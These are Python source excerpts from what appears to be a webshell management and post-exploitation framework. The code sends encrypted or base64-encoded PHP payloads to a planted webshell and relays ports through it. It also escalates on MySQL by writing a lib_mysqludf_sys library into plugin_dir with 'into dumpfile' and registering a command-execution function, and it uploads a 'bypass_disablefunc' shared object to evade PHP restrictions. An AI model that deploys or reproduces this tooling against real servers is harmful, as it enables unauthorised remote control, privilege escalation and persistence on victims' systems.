def _create_and_save_key(self) -> str: '''创建并保存一组秘钥,并填充当前的秘钥对象 ''' self.private_key = rsa.generate_private_key(public_exponent=65537, key_size=1024) self.public_key = self.private_key.public_key() key = os.urandom(32) iv = os.urandom(16) self.aes = Cipher(algorithms.AES(key), modes.CBC(iv)) ID = utils.randomstr(16) d = os.path.dirname(__file__) if not os.path.exists(os.path.join(d, 'keys')): os.mkdir(os.path.join(d, 'keys')) while os.path.exists(os.path.join(d, 'keys', ID)): ID = utils.randomstr(16) with open(os.path.join(d, 'keys', ID), 'wb') as f: pri = self.private_key.private_bytes( serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) pub = self.public_key.public_bytes( serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo) f.write(pri + b'\n') f.write(pub) return ID
def _upload_lib(self, ret: EvalResult) -> EvalResult: '''上传可能缺失动态库 ''' if isinstance(self.session.client, CSharpWebshell): assems = [] path = self.session.server_info.tmpdir + self.session.server_info.sep + utils.randomstr( 8) for e in ret.errors: if e.errcode == "CS0246" and 'MySql' in e.errmsg: assems.append(path) break if path in assems: logger.info("Try to upload MySql.Data.dll !") if self.session.exec([ 'upload', os.path.join(os.path.dirname(__file__), 'extra_code', 'MySql.Data.dll'), path ]) == self.SUCCESS: assems.extend(self.session.client.options.extra_assemblys) self.session.client.options.set_temp_option( 'extra_assemblys', str(assems)) ret = self.evalfile('payload/connect', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database) self.session.exec(['rm', '-f', path], False) # 删除临时文件 return ret
def eval(self, payload: PHPPayload) -> EvalResult: '''执行payload并获取返回结果''' password_type = self.options.password_type.upper() payload_param_name = utils.randomstr(8) payload = base64.b64encode(payload.code).decode() trans_payload = PHPPayload( 'transfer.php', payload_param_name=payload_param_name).code.decode() data = {payload_param_name: payload} headers = {} query = {} if password_type == 'POST': data[self.options.password] = trans_payload elif password_type == 'GET': query[self.options.password] = trans_payload elif password_type == 'HEADER': trans_payload = trans_payload.replace('\r', '').replace('\n', '') # 头部传输时消除换行 headers.update({self.options.password: trans_payload}) result = EvalResult() try: with self.opener.reuqest(self.options.target, data=data, headers=headers, params=query, timeout=self.options.timeout) as f: data = f.read() data = json.loads(data) if not self._error_handler(data, result): return result data = base64.b64decode(data['data'].encode()).decode( self.options.encoding, 'ignore') result.data = data return result except json.JSONDecodeError as e: err = self.EvalError(e.__class__.__name__, e.msg, False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) print(f"Error data: {data}") except HttpException as e: err = self.EvalError( 'HttpException', f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}", False, False) result.add_error_info(err) if self.options.verbose > 1: logger.error(err) except Exception as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) return result
def run(self): try: self.sock.bind((self.lhost, self.lport)) self.sock.listen(self.max_listen_count) except OSError as e: logger.error(e) return thread_list = [] while True: try: sock, addr = self.sock.accept() except OSError: break logger.info(f"A connection created!From {addr}") sock.setblocking(False) sessionid = utils.randomstr(16) self.connections[sessionid] = sock forwardwork = threading.Thread( target=self._forward, args=(sessionid, ), name=f"{sessionid}-forward on rule `{self._rule_name}`") readerthread = threading.Thread( target=self._reader, args=(sessionid, ), name=f"{sessionid}-reader on rule `{self._rule_name}`") writerthread = threading.Thread( target=self._writer, args=(sessionid, ), name=f"{sessionid}-writer on rule `{self._rule_name}`") thread_list.append(forwardwork) thread_list.append(readerthread) thread_list.append(writerthread) forwardwork.setDaemon(True) readerthread.setDaemon(True) writerthread.setDaemon(True) forwardwork.start() utils.sleep(1) readerthread.start() writerthread.start() for t in thread_list: t.join()
def run(self): thread_list = [] sessionid = utils.randomstr(16) self.connections[sessionid] = None forwardwork = threading.Thread(target=self._forward, args=(sessionid, )) forwardwork.setDaemon(True) thread_list.append(forwardwork) forwardwork.start() utils.sleep(1) if self._test_connect(sessionid): sock = socket.socket() self.connections[sessionid] = sock sock.settimeout(5) try: sock.connect((self.lhost, self.lport)) except OSError as e: logger.error( f"Connect to `{self.lhost}:{self.lport}` on rule `{self._rule_name}` failed!" ) logger.error(e.strerror) self._close(sessionid) for t in thread_list: t.join() return sock.setblocking(False) readerthread = threading.Thread(target=self._reader, args=(sessionid, ), name=f"{self._rule_name}-reader") writerthread = threading.Thread(target=self._writer, args=(sessionid, ), name=f"{self._rule_name}-writer") readerthread.setDaemon(True) writerthread.setDaemon(True) thread_list.append(readerthread) thread_list.append(writerthread) readerthread.start() writerthread.start() for t in thread_list: t.join()
def eval(self, payload: PHPPayload) -> EvalResult: '''执行payload并获取返回结果''' payload = self._encrypt(payload.code) payload = base64.b64encode(payload).decode() data = {utils.randomstr(8): payload} result = EvalResult() try: with self.opener.post(self.options.target, data, timeout=self.options.timeout) as f: data = f.read() data = self._decrypt(data) data = json.loads(data) if not self._error_handler(data, result): return result data = base64.b64decode(data['data'].encode()).decode( self.options.encoding, 'ignore') result.data = data return result except (EncryptFailedError, DecryptFailedError) as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) print(f"Error data: {data[:100]}") except HttpException as e: err = self.EvalError( 'HttpException', f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}", False, False) result.add_error_info(err) if self.options.verbose > 1: logger.error(err) except Exception as e: err = self.EvalError(e.__class__.__name__, str(e), False, False) result.add_error_info(err) if self.options.verbose > 0: logger.error(err) return result
def connect(self) -> bool: '''connect target and return True, or False if connect failed. ''' ID = '0' try: with self.opener.post(self.options.target, timeout=10) as f: ID = f.read() except BaseException: logger.error('Failed to connect to webshell') return False ID = ID.decode(self.options.encoding, 'ignore') if not self._load_key(ID): logger.error(f"Failed to load secret key for `{ID}`") return False iv = self.aes.mode.initialization_vector data = { utils.randomstr(8): base64.b64encode( self.public_key.encrypt(self.aes.algorithm.key, padding.PKCS1v15())).decode(), 'iv': base64.b64encode(iv).decode() } try: with self.opener.post(self.options.target, data, timeout=10) as f: ID = f.read() except BaseException as e: logger.error(e) logger.error('Error in key delivery.') return False if ID != base64.b64encode(iv): logger.error( f"The accepted number `{ID}` does not match the expected `{base64.b64encode(iv)}`" ) return False return True
def _exec_udf(self): '''上传mysql的udf用于命令执行 ''' encoding = self.session.client.options.encoding # 验证是否存在当前用于执行命令的函数 sql = f"select * from mysql.func where name = '{self._exec_func}'" ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database, sql=sql) if not ret.is_success(): logger.error("Query funtions info failed!") return self.STOP ret = json.loads(ret.data) if ret['code'] == 1: if ret['result'] and len(ret['result']) > 1: logger.info(f"Funtion `{self._exec_func}` already exists!", True) return self.SUCCESS else: logger.error("Query funtions info failed!") return self.STOP # 搜集信息 logger.info("Information collection...") plugin_dir = None secure_file_priv = None version_compile_machine = None version_compile_os = None version = None sql = "show global variables where variable_name in ('secure_file_priv', 'plugin_dir', 'version_compile_machine', 'version_compile_os', 'version')" ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database, sql=sql) if not ret.is_success(): logger.error("Mysql information collection failed!") return self.STOP ret = ret.data ret = json.loads(ret) if ret['code'] == 1: if ret['result']: r = [ base64.b64decode(t[1].encode()).decode(encoding, 'ignore') for t in ret['result'] ] plugin_dir = r[1] secure_file_priv = r[2] version = r[3] version_compile_machine = r[4] version_compile_os = r[5] else: logger.error("Mysql information collection failed!") return self.STOP elif ret['code'] in (0, -1): msg = base64.b64decode(ret['msg'].encode()).decode( encoding, 'ignore') print(msg) return self.STOP else: logger.error("Mysql information collection failed!") return self.STOP logger.info(f"plugin_dir: {plugin_dir}", True) logger.info(f"secure_file_priv: {secure_file_priv}", True) logger.info(f"version: {version}", True) logger.info(f"version_compile_machine: {version_compile_machine}", True) logger.info(f"version_compile_os: {version_compile_os}", True) v = re.search(r'(\d+)\.(\d+)', version) if v is not None and 'win' in version_compile_os.lower(): m = int(v.group(1)) c = int(v.group(2)) if (m == 5 and c < 1) or m < 5: # Windows上mysql<5.1 logger.info( f"Mysql on {version_compile_os} {version_compile_machine} version < 5.1, you can upload udf to c:\winnt\system32 or c:\windows\system32!" ) return self.SUCCESS # 写入udf arch = '32' ext = 'so' if '64' in version_compile_machine: arch = '64' if 'win' in version_compile_os.lower(): ext = 'dll' local_udfpath = os.path.join(os.path.dirname(__file__), 'extra_code', f'lib_mysqludf_sys_{arch}.{ext}') logger.info(f"Using udf `{local_udfpath}`") udfdata = b'' with open(local_udfpath, 'rb') as f: udfdata = f.read() udfdata = udfdata.hex() udfname = utils.randomstr(8) + '.' + ext udfpath = plugin_dir + udfname if secure_file_priv and secure_file_priv != plugin_dir: logger.error("Can not upload udf with secure_file_priv!") if utils.input( "Can not upload udf with secure_file_priv!Do you want to try to upload UDF with web permission? (y/n) " ).lower() == 'y': if self.session.exec(['upload', local_udfpath, udfpath]) == self.SUCCESS: logger.info("UDF write successful!") else: logger.error("Write UDF failed!") return self.STOP else: return self.STOP else: # 使用sql语句写入UDF logger.info(f"Start write udf to {udfpath}...") sql = f"select unhex('{udfdata}') into dumpfile '{udfpath}'" ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database, sql=sql) if not ret.is_success(): logger.error("Write UDF failed!") return self.STOP ret = ret.data ret = json.loads(ret) if ret['code'] == 2: logger.info("UDF write successful!", True) elif ret['code'] in (0, -1): msg = base64.b64decode(ret['msg'].encode()).decode( encoding, 'ignore') print(msg) logger.error("Write UDF failed!") return self.STOP else: logger.error("Write UDF failed!") return self.STOP # 创建命令执行函数 sql = f"create function {self._exec_func} returns string soname '{udfname}'" ret = self.evalfile('payload/query', host=self._host, port=self._port, user=self._user, password=self._password, database=self._current_database, sql=sql) if not ret.is_success(): logger.error(f"Create function `{self._exec_func}` failed!") return self.STOP ret = ret.data ret = json.loads(ret) if ret['code'] == 2: logger.info(f"Create function `{self._exec_func}` successful!", True) self._query( f"select * from mysql.func where name = '{self._exec_func}'") return self.SUCCESS elif ret['code'] in (0, -1): msg = base64.b64decode(ret['msg'].encode()).decode( encoding, 'ignore') print(msg) logger.error(f"Create function `{self._exec_func}` failed!") return self.STOP else: logger.error(f"Create function `{self._exec_func}` failed!") return self.STOP
def __init__(self, exp: WebshellExploit, shell: str): super().__init__(exp) self.shell = shell self.out_file = self.exp.session.server_info.tmpdir + self.exp.session.server_info.sep + utils.randomstr( 8) + "_out" self.in_file = self.exp.session.server_info.tmpdir + self.exp.session.server_info.sep + utils.randomstr( 8) + "_in" self._lock = threading.Lock() self._verbose = 0 self.last_recv = '' # 上次接收到的数据
def __init__(self, exploit: WebshellExploit, shell: str): super().__init__(exploit) self.shell = shell self.out_pipe = self.exp.session.server_info.tmpdir + self.exp.session.server_info.sep + utils.randomstr( 10) + "_out" # 输出管道,结果会写入该管道 self.in_pipe = self.exp.session.server_info.tmpdir + self.exp.session.server_info.sep + utils.randomstr( 10) + "_in" # 输入管道,命令会从该管道读取 self._lock = threading.Lock() self.last_recv = None
def _upload_so(self, is64bit: bool) -> bool: '''上传所需的动态库文件 ''' self.so_path = self.so_path = self.session.server_info.tmpdir + self.session.server_info.sep + utils.randomstr( 8) fname = f"bypass_disablefunc_x{'64' if is64bit else '86'}.so" logger.info(f"Upload {fname} to {self.so_path}") if self.session.exec([ 'upload', os.path.join(os.path.dirname(__file__), 'payload', fname), self.so_path ]) == self.SUCCESS: logger.info("Dynamic library has been uploaded sucessful!", True) return True logger.error("Dynamic library uploaded failed!", True) return False